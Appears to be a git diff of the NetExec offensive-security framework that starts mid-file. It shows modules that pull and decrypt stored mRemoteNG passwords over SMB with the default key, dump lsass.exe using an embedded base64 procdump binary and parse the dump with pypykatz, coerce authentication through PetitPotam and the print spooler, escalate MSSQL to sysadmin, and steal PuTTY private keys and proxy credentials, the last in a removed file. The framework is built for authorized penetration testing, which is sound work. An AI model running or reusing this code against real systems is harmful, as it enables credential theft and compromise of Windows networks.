"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
]
self.recurse_max = 10
def options(self, context, module_options):
"""
SHARE Share parsed. Default to C$
PASSWORD Custom password to decrypt confCons.xml files
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
self.custom_path = None
if "CUSTOM_PATH" in module_options:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
kdf_iterations=int(main.attrib["KdfIterations"]),
block_cipher_mode=main.attrib["BlockCipherMode"],
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
continue
name = node_attribute["Name"]
hostname = node_attribute["Hostname"]
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
for node in list(main.getchildren()):
node_attributes = node.attrib
if node_attributes["Type"] == "Connection":
nodes.append(node.attrib)
elif node_attributes["Type"] == "Container":
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
new_path = ntpath.join(directory_path, item.get_longname())
if item.is_directory() > 0:
if recurse_level < recurse_max:
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
else:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
return encrypted_password
if encryption_attributes.encryption_engine == "AES":
salt = encrypted_password[:16]
associated_data = encrypted_password[:16]
nonce = encrypted_password[16:32]
ciphertext = encrypted_password[32:-16]
tag = encrypted_password[-16:]
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
if encryption_attributes.block_cipher_mode == "GCM":
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "CCM":
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "EAX":
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+8 -6
View File
@@ -42,12 +42,12 @@ class NXCModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
self.context = context
# get mssql connection
self.mssql_conn = connection.conn
# fetch the current user
@@ -441,11 +441,13 @@ class NXCModule:
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
if is_admin:
self.admin_privs = True
return True
else:
try:
if int(res):
self.admin_privs = True
return True
else:
return False
except Exception:
return False
def revert_context(self, exec_as):
+1
View File
@@ -39,6 +39,7 @@ class NXCModule:
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.remote_tmp_dir.split(":")[1]
+9 -7
View File
@@ -44,11 +44,11 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe=self.pipe,
do_kerberos=connection.kerberos,
kdcHost=connection.kdcHost,
remoteHost=connection.host,
dc_host=connection.kdcHost,
target_ip=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
@@ -194,8 +194,8 @@ def coerce(
target,
pipe,
do_kerberos,
kdcHost,
remoteHost,
dc_host,
target_ip=None,
context=None,
):
binding_params = {
@@ -221,7 +221,6 @@ def coerce(
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpc_transport.setRemoteHost(remoteHost)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
@@ -232,12 +231,15 @@ def coerce(
aesKey=aesKey,
)
if target_ip:
rpc_transport.setRemoteHost(target_ip)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost)
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
+5 -5
View File
@@ -1,8 +1,8 @@
from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile
from os import path
from nxc.paths import DATA_PATH, TMP_PATH
from nxc.paths import DATA_PATH
class NXCModule:
@@ -25,7 +25,7 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
if "EXEC" in module_options:
@@ -36,11 +36,11 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
file_to_upload = "/tmp/pi.exe"
with open(file_to_upload, "wb") as pm:
pm.write(self.pi_embedded)
else:
if isfile(self.imp_exe):
if path.isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
+2 -3
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -55,13 +55,12 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
+4 -7
View File
@@ -7,8 +7,6 @@ import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -32,7 +30,7 @@ class NXCModule:
"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 truncated
)
self.procdump = "procdump.exe"
self.procdump_path = abspath(TMP_PATH)
self.procdump_path = "/tmp/"
self.dir_result = self.procdump_path
self.useembeded = True
@@ -78,7 +76,6 @@ class NXCModule:
dump = True
else:
context.log.fail("Process lsass.exe error un dump, try with verbose")
sys.exit(1)
if dump:
regex = r"([A-Za-z0-9-]*.dmp)"
@@ -92,10 +89,10 @@ class NXCModule:
context.log.display(f"Copy {machine_name} to host")
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
with open(self.dir_result + machine_name, "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
except Exception as e:
context.log.fail(f"Error while get file: {e}")
@@ -111,7 +108,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
with open(self.dir_result + machine_name, "rb") as dump:
try:
credz_bh = []
try:
-221
View File
@@ -1,221 +0,0 @@
from datetime import datetime
from io import BytesIO
import traceback
from urllib.parse import unquote
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from nxc.helpers.logger import highlight
from nxc.paths import NXC_PATH
import re
class NXCModule:
"""Module by @NeffIsBack"""
name = "putty"
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.rrp = None
def options(self, context, module_options):
"""No options available"""
def get_logged_on_users(self):
"""Enumerate all logged in and loaded Users on System"""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
user_objects.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
return [i for i in user_objects if not regex.match(i)]
def get_all_users(self):
"""Get all users that have logged in at some point in time"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
return user_objects
def sid_to_name(self, all_users):
"""Convert SID to Usernames for better readability"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
user_dict = {}
for user_object in all_users:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
user_dict[user_object] = user_profile_path.split("\\")[-1]
return user_dict
def load_missing_users(self, unloaded_user_objects):
"""Load missing users into registry to access their registry keys."""
for user_object in unloaded_user_objects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def unload_missing_users(self, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
for user_object in unloaded_user_objects:
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
try:
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
except Exception as e:
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
self.context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def get_private_key_paths(self, all_users):
"""Get all private key paths for all users"""
sessions = []
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
for user in all_users:
try:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Extract stored Session infos
for session_name in session_names:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
# Get private Key Path
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
# Session infos
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
sessions.append({
"user": self.user_dict[user],
"session_name": unquote(session_name),
"hostname": hostname,
"port": port,
"protocol": protocol,
"private_key_path": private_key_path,
"proxy_host": proxy_host,
"proxy_port": proxy_port,
"proxy_username": proxy_username,
"proxy_password": proxy_password
})
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
except Exception as e:
self.context.log.fail(f"Unexpected error: {e}")
self.context.log.debug(traceback.format_exc())
return sessions
def extract_session(self, sessions):
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
for session in sessions:
if session["private_key_path"]:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
buf = BytesIO()
with open(download_path, "wb") as file:
try:
self.connection.conn.getFile(share, file_path, buf.write)
except Exception as e:
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
else:
self.context.log.exception(f"Error downloading private key: {e}")
continue
file.write(buf.getvalue())
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
if session["proxy_password"]:
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
with open(proxycreds_file, "a") as f:
f.write("================\n")
f.write(f"User: {session['user']}\n")
f.write(f"Sessionname: {session['session_name']}\n")
f.write(f"Host: {session['hostname']}:{session['port']}\n")
f.write(f"Protocol: {session['protocol']}\n")
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
f.write(f"Proxy Username: {session['proxy_username']}\n")
f.write(f"Proxy Password: {session['proxy_password']}\n")
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
try:
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
self.rrp.enableRegistry()
